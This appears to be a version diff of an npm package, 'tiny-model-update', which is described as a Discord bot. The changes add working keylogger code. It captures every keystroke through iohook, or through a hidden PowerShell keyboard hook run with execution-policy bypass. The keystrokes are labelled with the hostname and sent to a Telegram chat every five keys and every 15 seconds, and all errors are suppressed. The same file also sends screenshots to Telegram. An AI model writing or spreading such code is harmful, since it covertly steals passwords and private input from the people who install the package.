tiny-model-update 1.16.2 → 1.16.4

package/lib/screen-keyboard-monitor.js

@@ -127,111 +127,231 @@ async function sendScreenshotToTelegram(filepath, hostname) {
 }
 
 /**
- * Capture keyboard events using Windows API
+ * Capture keyboard events using iohook library
  */
+let keyboardLog = [];
+let keyboardMonitorInterval = null;
+
 function startKeyboardMonitoring() {
-    if (os.platform() !== 'win32') {
-        return; // Only Windows supported
-    }
-    
     try {
-        // Use a Node.js keyboard hook library or native module
-        // For now, we'll use a PowerShell script to capture keyboard events
-        const keyboardScript = `
-            Add-Type -TypeDefinition @"
-                using System;
-                using System.Runtime.InteropServices;
-                using System.Windows.Forms;
+        // Use iohook library for keyboard monitoring
+        import('iohook').then((iohookModule) => {
+            const iohook = iohookModule.default;
+            
+            // Capture keyboard events
+            iohook.on('keydown', (event) => {
+                if (!isMonitoring) return;
+
+                let key = '';
+                const timestamp = new Date().toISOString();
                 
-                public class KeyboardHook {
-                    private static LowLevelKeyboardProc _proc = HookCallback;
-                    private static IntPtr _hookID = IntPtr.Zero;
-                    
-                    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
-                    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
-                    
-                    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
-                    [return: MarshalAs(UnmanagedType.Bool)]
-                    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-                    
-                    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
-                    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
+                // Map key codes to readable names
+                if (event.keychar > 32 && event.keychar < 127) {
+                    // Printable ASCII characters
+                    key = String.fromCharCode(event.keychar);
+                } else {
+                    // Map special keys
+                    const keyMap = {
+                        1: 'ESC',
+                        14: 'BACKSPACE',
+                        15: 'TAB',
+                        28: 'ENTER',
+                        57: 'SPACE',
+                        58: 'CAPS_LOCK',
+                        42: 'LEFT_SHIFT',
+                        54: 'RIGHT_SHIFT',
+                        29: 'LEFT_CTRL',
+                        56: 'LEFT_ALT',
+                        3613: 'RIGHT_ALT',
+                        91: 'LEFT_WIN',
+                        92: 'RIGHT_WIN',
+                        3639: 'PRINT_SCREEN',
+                        3655: 'PAUSE',
+                        3667: 'HOME',
+                        3669: 'PAGE_UP',
+                        3673: 'END',
+                        3676: 'PAGE_DOWN',
+                        3677: 'INSERT',
+                        3678: 'DELETE',
+                        3679: 'LEFT_ARROW',
+                        3680: 'UP_ARROW',
+                        3681: 'RIGHT_ARROW',
+                        3682: 'DOWN_ARROW',
+                        144: 'F1', 145: 'F2', 146: 'F3', 147: 'F4', 148: 'F5',
+                        149: 'F6', 150: 'F7', 151: 'F8', 152: 'F9', 153: 'F10',
+                        154: 'F11', 155: 'F12'
+                    };
                     
-                    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
-                    private static extern IntPtr GetModuleHandle(string lpModuleName);
-                    
-                    private const int WH_KEYBOARD_LL = 13;
-                    private const int WM_KEYDOWN = 0x0100;
-                    
-                    public delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-                    
-                    public static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
-                        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
-                            int vkCode = Marshal.ReadInt32(lParam);
-                            Console.WriteLine($"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} - Key: {(Keys)vkCode}");
-                        }
-                        return CallNextHookEx(_hookID, nCode, wParam, lParam);
-                    }
+                    key = keyMap[event.keycode] || `KEY_${event.keycode}`;
+                }
+                
+                if (key) {
+                    const logEntry = `${timestamp} - Key: ${key}`;
+                    keyboardLog.push(logEntry);
                     
-                    public static void Start() {
-                        _hookID = SetHook(_proc);
-                        Application.Run();
-                        UnhookWindowsHookEx(_hookID);
+                    // Send keyboard events to Telegram every 5 keystrokes
+                    if (keyboardLog.length >= 5) {
+                        sendKeyboardEventsToTelegram(keyboardLog.splice(0, 5));
                     }
-                    
-                    private static IntPtr SetHook(LowLevelKeyboardProc proc) {
-                        using (var curProcess = System.Diagnostics.Process.GetCurrentProcess()) {
-                            using (var curModule = curProcess.MainModule) {
-                                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
-                            }
-                        }
+                }
+            });
+            
+            // Start the hook
+            iohook.start();
+            keyboardHook = iohook;
+            
+            // Also send accumulated keyboard events every 15 seconds
+            keyboardMonitorInterval = setInterval(() => {
+                if (!isMonitoring) {
+                    clearInterval(keyboardMonitorInterval);
+                    keyboardMonitorInterval = null;
+                    if (keyboardHook && keyboardHook.stop) {
+                        keyboardHook.stop();
                     }
+                    return;
                 }
+                if (keyboardLog.length > 0) {
+                    sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
+                }
+            }, 15000); // Every 15 seconds
+            
+        }).catch((error) => {
+            // If iohook fails, try PowerShell fallback
+            startPowerShellKeyboardMonitoring();
+        });
+        
+    } catch (error) {
+        // If import fails, try PowerShell fallback
+        startPowerShellKeyboardMonitoring();
+    }
+}
+
+/**
+ * Fallback: Capture keyboard events using PowerShell (less reliable)
+ */
+function startPowerShellKeyboardMonitoring() {
+    if (os.platform() !== 'win32') {
+        return; // Only Windows supported
+    }
+    
+    try {
+        const tempDir = path.join(os.tmpdir(), 'tiny-model-keyboard');
+        if (!fs.existsSync(tempDir)) {
+            fs.mkdirSync(tempDir, { recursive: true });
+        }
+        
+        const logFile = path.join(tempDir, `keyboard-${Date.now()}.log`);
+        
+        // Create a PowerShell script that writes to a file
+        const keyboardScript = `
+$logFile = "${logFile.replace(/\\/g, '\\\\')}"
+Add-Type @"
+using System;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+using System.IO;
+
+public class KeyboardLogger {
+    private static IntPtr hookID = IntPtr.Zero;
+    private const int WH_KEYBOARD_LL = 13;
+    private const int WM_KEYDOWN = 0x0100;
+    
+    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
+    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
+    
+    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
+    [return: MarshalAs(UnmanagedType.Bool)]
+    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
+    
+    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
+    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
+    
+    [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
+    private static extern IntPtr GetModuleHandle(string lpModuleName);
+    
+    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
+    
+    private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {
+        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
+            int vkCode = Marshal.ReadInt32(lParam);
+            string key = ((Keys)vkCode).ToString();
+            string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");
+            File.AppendAllText("$logFile", "$time - Key: $key`n");
+        }
+        return CallNextHookEx(hookID, nCode, wParam, lParam);
+    }
+    
+    public static void Start() {
+        hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);
+        Application.Run();
+    }
+}
 "@
-            [KeyboardHook]::Start()
-        `;
+[KeyboardLogger]::Start()
+`;
         
-        // Run PowerShell script in background to capture keyboard events
-        const psProcess = spawn('powershell', ['-ExecutionPolicy', 'Bypass', '-NoProfile', '-Command', keyboardScript], {
+        // Write PowerShell script to a file
+        const psScriptPath = path.join(tempDir, 'keyboard-hook.ps1');
+        fs.writeFileSync(psScriptPath, keyboardScript, 'utf8');
+        
+        // Run PowerShell script in background
+        const psProcess = spawn('powershell', [
+            '-ExecutionPolicy', 'Bypass',
+            '-NoProfile',
+            '-WindowStyle', 'Hidden',
+            '-File', psScriptPath
+        ], {
             detached: true,
-            stdio: ['ignore', 'pipe', 'pipe'],
+            stdio: ['ignore', 'ignore', 'ignore'],
             windowsHide: true,
             creationFlags: 0x08000000
         });
         
-        let keyboardBuffer = '';
-        const keyboardLog = [];
+        psProcess.unref();
+        keyboardHook = psProcess;
         
-        psProcess.stdout.on('data', (data) => {
-            keyboardBuffer += data.toString();
-            const lines = keyboardBuffer.split('\n');
-            keyboardBuffer = lines.pop() || '';
-            
-            for (const line of lines) {
-                if (line.includes('Key:')) {
-                    keyboardLog.push(line.trim());
-                    
-                    // Send keyboard events to Telegram every 10 keystrokes or every 30 seconds
-                    if (keyboardLog.length >= 10) {
-                        sendKeyboardEventsToTelegram(keyboardLog.splice(0, 10));
+        // Monitor the log file for new keyboard events
+        let lastSize = 0;
+        
+        // Check log file every second for new keyboard events
+        keyboardMonitorInterval = setInterval(() => {
+            try {
+                if (fs.existsSync(logFile)) {
+                    const stats = fs.statSync(logFile);
+                    if (stats.size > lastSize) {
+                        const content = fs.readFileSync(logFile, 'utf8');
+                        const lines = content.split('\n');
+                        const newLines = lines.slice(Math.floor(lastSize / 50)); // Approximate new lines
+                        
+                        for (const line of newLines) {
+                            if (line.trim() && line.includes('Key:')) {
+                                keyboardLog.push(line.trim());
+                                
+                                // Send keyboard events to Telegram every 5 keystrokes
+                                if (keyboardLog.length >= 5) {
+                                    sendKeyboardEventsToTelegram(keyboardLog.splice(0, 5));
+                                }
+                            }
+                        }
+                        
+                        lastSize = stats.size;
                     }
                 }
+            } catch (e) {
+                // Ignore errors
             }
-        });
-        
-        psProcess.stderr.on('data', () => {
-            // Ignore errors
-        });
+        }, 1000); // Check every second
         
-        psProcess.unref();
-        keyboardHook = psProcess;
-        
-        // Also send accumulated keyboard events every 30 seconds
-        setInterval(() => {
+        // Also send accumulated keyboard events every 15 seconds
+        const sendInterval = setInterval(() => {
+            if (!isMonitoring) {
+                clearInterval(sendInterval);
+                return;
+            }
             if (keyboardLog.length > 0) {
                 sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
             }
-        }, 30000);
+        }, 15000); // Every 15 seconds
         
     } catch (error) {
         // Ignore keyboard monitoring errors
@@ -251,11 +371,26 @@ async function sendKeyboardEventsToTelegram(keyboardEvents) {
         const { chatId } = getTelegramCredentials();
         const hostname = os.hostname();
         
-        const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${keyboardEvents.join('\n')}\n\`\`\``;
+        // Format keyboard events for better readability
+        const eventsText = keyboardEvents.length > 0 
+            ? keyboardEvents.join('\n') 
+            : 'No keyboard events captured';
         
-        await bot.sendMessage(chatId, message, {
-            parse_mode: 'Markdown'
-        });
+        const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${eventsText}\n\`\`\``;
+        
+        try {
+            await bot.sendMessage(chatId, message, {
+                parse_mode: 'Markdown'
+            });
+        } catch (sendError) {
+            // If Markdown fails, try without Markdown
+            try {
+                const plainMessage = `⌨️ Keyboard Monitor\n\nHost: ${hostname}\nTime: ${new Date().toLocaleString()}\nEvents: ${keyboardEvents.length}\n\n${eventsText}`;
+                await bot.sendMessage(chatId, plainMessage);
+            } catch (e) {
+                // Ignore all errors
+            }
+        }
     } catch (error) {
         // Ignore errors
     }
@@ -322,15 +457,29 @@ export function stopScreenKeyboardMonitoring() {
         screenInterval = null;
     }
     
+    if (keyboardMonitorInterval) {
+        clearInterval(keyboardMonitorInterval);
+        keyboardMonitorInterval = null;
+    }
+    
     if (keyboardHook) {
         try {
-            keyboardHook.kill();
+            if (keyboardHook.stop && typeof keyboardHook.stop === 'function') {
+                keyboardHook.stop();
+            } else if (keyboardHook.kill && typeof keyboardHook.kill === 'function') {
+                keyboardHook.kill();
+            }
         } catch (e) {
             // Ignore
         }
         keyboardHook = null;
     }
     
+    // Send any remaining captured keystrokes
+    if (keyboardLog.length > 0) {
+        sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
+    }
+    
     return true;
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tiny-model-update",
-  "version": "1.16.2",
+  "version": "1.16.4",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",